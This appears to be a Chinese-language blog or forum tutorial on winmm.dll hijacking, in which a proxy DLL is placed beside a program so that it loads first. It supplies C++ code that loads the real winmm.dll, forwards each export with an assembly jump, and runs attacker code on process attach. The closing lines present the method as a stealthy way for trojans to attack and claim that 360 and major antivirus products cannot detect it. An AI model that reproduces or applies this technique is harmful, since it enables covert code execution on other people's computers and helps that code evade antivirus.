winmm劫持详解
什么是DLL劫持注入,按照我的理解,程序在启动的时候,会调用DLL,使得注入成功,这是程序自己调用的
为什么程序会调用此DLL,Windows的资源共享机制明确规定,首先调用程序所在目录的系统DLL,若无,则调用C盘系统目录下的DLL
winmm劫持的要点:导出函数必须和原DLL的导出函数相同。当程序调用我们自己写的winmm时候,先执行我们要做的事情,然后把我们自己的winmm的导出函数全部跳转到系统目录下真正有用的导出函数中去,这样不会崩溃,而我们的目的也完成了,退出程序的时候,执行卸载DLL的命令,这样一个劫持程序就制作OK。
大致流程:
1 加载原始模块
2 写入我们自己的数据
3 把自己的导出函数全部跳转到原始模块中去
4 退出程序时释放我们自己写的模块
#define WIN_API extern "C" __declspec(dllexport) //这句把C++转换成标准C 导出,这样使得导出函数的名称在外部调用时候不会出现乱码
写一个命名空间,方便我们调用
namespace MyFunction
{
HMODULE m_hmodule=NULL;;//定义原始模块句柄
//加载原始的模块
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];//原始模块名称
TCHAR tzTemp[MAX_PATH;//寄存字符串
lstrcpy(tzPath,L"winmm.dll");
m_hmodule=LoadLibrary(tzPath);//加载模块
if(m_hmodule==NULL)
{
wsprintf(tzTemp,L"无法加载%s",tzPath);
MessageBox(NULL,tzTemp,L"winmm",MB_OK);
return FALSE;
}
return TRUE;
}
//释放原始模块
inline void WINAPI Free()
{
if(m_hmodule)
{
FreeLibrary(m_hmodule);
}
}
//获得原始模块地址
FARPROC WINAPI GetAddress(PSTR pzProcName)
{
TCHAR tzTemp[MAX_PATH];
FARPROC fAddr=GetProcAddress(m_hmodule,pzProcName);
if(fAddr==NULL)
{
wsprintf(tzTemp,"无法找到函数%s",pzProcName);
MessageBox(NULL,tzTemp,L"winmm",MB_OK);
ExitProcess(-2);
}
return fAddr;
}
}
命名空间写完了,接下去就是把这个函数的全部导出函数写完,太多了,我就拿出一个来当例子
using namespace Myfunction;//使用命名空间
先要得到这个导出函数在原始模块中的地址:
PVOID pfnNotifyCallbackData=GetAddress("NotifyCallbackData");
接着在我们自己的导出函数中写入跳转即可
WIN_API void __cdecl NotifyCallbackData(void)
{
__asm JMP pfnNotifyCallbackData;
}
在DLLMAIN中,我们一般在DLL_PROCESS_ATTACH 中先写入我们自己要做的事情,然后在调用Load函数以及取得原始模块中的全部导出函数相应的地址,最后在DLL_PROCESS_DETACH 中调用Free函数进行释放模块。
到这里一个winmm劫持注入就完成了,相应的还有lpk劫持,version劫持,usp10劫持等等,这些劫持都是木马进行攻击最方便最隐蔽的方法,并且目前360以及一些大型杀软是查不出的。。。winmm劫持就是查不出的,其他的我不怎么了解,lpk和usp10应该被玩坏了